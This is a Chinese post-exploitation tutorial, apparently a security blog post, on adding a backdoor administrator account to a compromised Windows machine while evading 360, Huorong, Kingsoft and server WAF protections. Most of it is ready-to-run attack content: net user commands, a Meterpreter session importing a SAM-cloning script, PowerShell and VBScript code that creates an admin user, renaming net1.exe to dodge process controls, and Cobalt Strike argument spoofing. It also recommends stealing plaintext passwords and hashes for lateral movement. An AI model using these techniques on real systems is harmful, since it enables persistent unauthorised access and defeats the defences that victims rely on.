声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。 |
---|
0x01 前言
我们在后渗透中时常会遇到这样的环境,即使成功拿到了目标机器的Admin/System权限后也不能添加用户和管理员组,出现这种情况的原因有很多,如:UAC、WAF、反病毒软件或者是net.exe降权和安全组策略中的软件限制、应用程序控制策略等。
0x02 反病毒禁止添加用户
360杀毒:
- 查看防护状态->主动防御->7层系统防护->进程防护
360卫士:
- 防护中心->7层系统防护->系统防护体系->进程防护
火绒安全软件:
- 防护中心->系统防护->系统加固->敏感动作防护
金山毒霸:
- 实时保护->7层系统保护->程序运行保护
注:毒霸仅支持PC用户(XP/Vista/Win7/8/10),不支持在服务器操作系统上使用。
添加管理员用户命令:
代码语言:javascript复制net user betasec 3had0w!@#123 /add
net localgroup administrators betasec /add
0x03 绕过反病毒添加用户
火绒、360卫士、金山毒霸等反病毒软件主要是针对Net.exe、Net1.exe和添加用户行为进行防护,但是并没有对添加管理组行为进行防护,所以我们只需要绕过Net.exe、Net1.exe和添加用户行为就可以了。
(1) UserClone克隆管理员用户
工具使用过于简单,自己看下参数就好,就不去详细写了,主要还是分享一些方法。
代码语言:javascript复制UserClone.exe工具或者Create-Clone.ps1脚本
post/windows/manage/rid_hijack(RID劫持攻击)
post/windows/manage/enable_support_account(针对XP和2003)
还有一个克隆SAM注册表的Powershell脚本Create-Clone.ps1,不过360安全卫士的进程防护还会对我们调用Powershell.exe执行ps1脚本的行为进行拦截。
虽然会被拦截,但是我们还是可以在Powershell下执行这个ps1脚本,后边我们也会讲如何去绕过反病毒的进程防护和敏感动作防护来执行Powershell。
代码语言:javascript复制meterpreter > use powershell
meterpreter > powershell_import "/var/www/html/Create-Clone.ps1"
meterpreter > powershell_shell
PS > Create-Clone -u betasec -p 3had0w!@#123
(2) Powershell添加管理员用户
New-LocalUser、Add-LocalGroupMember为Windows10/2016及以上操作系统Powershell5.1中的Microsoft.PowerShell.LocalAccounts模块内置命令,可用来添加用户和管理员组,更多命令请参考微软文档。
- https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts
这种方式虽能绕过360卫士和金山毒霸的Net.exe添加用户行为,但是在测试过程中发现有时在Cmdshell下直接执行以下命令可能会出现“PowerShell命令执行攻击”拦截。
代码语言:javascript复制New-LocalUser betasec -Password (ConvertTo-SecureString -String 'pass!@#!23' -AsPlainText -Force)
Add-LocalGroupMember -Group "administrators" -Member "betasec"
(3) Vbscript API 添加管理员用户
1. API_Shell.Users组件
- XP/Win2k3
Set o=CreateObject( "Shell.Users" )
Set z=o.create("betasec")
z.changePassword "pass!@#!23",""
z.setting("AccountType")=3
2. ADSI_WinNT对象
- XP/Win2k3/Win7/Win2k8/Win8/Win10/2012/2016
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","betasec")
od.SetPassword "pass!@#!23"
od.SetInfo
Set of=GetObject(os&"/betasec",user)
oe.add os&"/betasec"
(4) Windows API 添加管理员用户
项目地址:https://github.com/newsoft/adduser,在编译EXE、DLL时需要先手动添加ADVAPI32.lib、NETAPI32.lib两个库,否则可能会出现报错,执行adduser.dll时是没有回显的。
- 项目属性->链接器->输入->附加依赖项->ADVAPI32.lib、NETAPI32.lib
- 项目属性->常规->配置类型->动态库(.dll)
C:Users*******DesktopAdd-User> adduser.exe
C:Users*******DesktopAdd-User> rundll32.exe adduser.dll,CreateAdminUser
Username:90sec$ Password:pass!@#!23
(5) Copy Net1.exe添加管理员用户
只能拷贝System32和SysWOW64目录下的net1.exe,net.exe不行哦,而且也只能绕过火绒安全软件和服务器安全狗的进程行为控制(net.exe、net1.exe),360卫士和金山毒霸会拦截。
代码语言:javascript复制copy c:windowssystem32net1.exe C:ProgramDatanet1.txt
C:ProgramDatanet1.txt user 90sec$ pass!@#!23 /add & C:ProgramDatanet1.txt localgroup administrators 90sec$ /add
(6) Cobaltstrike argue进程参数欺骗
argue进程参数欺骗后可使用run或execute来执行net1命令添加一个管理员用户,全程无拦截,而用shell执行net1命令时仍然会被拦截,因为它还是通过创建一个cmd.exe子进程来执行的。
代码语言:javascript复制argue 进程参数欺骗
argue [command] [fake arguments]
argue 命令 假参数 欺骗某个命令参数
argue [command]
argue 命令 取消欺骗某个命令参数
beacon> argue net1 /bypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypass
beacon> run net1 user betasec 3had0w!@#123 /add
beacon> run net1 localgroup administrators betasec /add
注意事项:
(1) 个人建议直接获取目标机器的明文密码和哈希值,可以利用这些用户密码信息继续进行横向渗透。并不推荐直接添加管理员用户和修改默认管理员用户的密码,因为这样非常容易被发现,常规检测隐藏用户方式和各种WAF、反病毒、安全设备的拦截日志中都能看出被入侵的痕迹。
(2) 方法是死的,但人是活的,在实战中只要灵活运用还是很容易绕过的。D盾、云锁、护卫神、服务器安全狗等WAF软件主要对Administrators管理组进行防护(默认状态),服务器安全狗也可以设置对Net.exe、Net1.exe程序和SAM注册表进行防护,这样能更好的防止被添加管理员用户。
(3) 还有就是一些WAF对“执行系统命令”的防护,如:D盾不允许在w3wp.exe下创建子进程,网站安全狗的禁止IIS执行程序(仅允许带有白名单参数执行命令),云锁的操作系统加固(对w3wp.exe进程防护,不允许在IIS的Webshell下执行添加用户和管理组)等等,不过都是可以绕过的。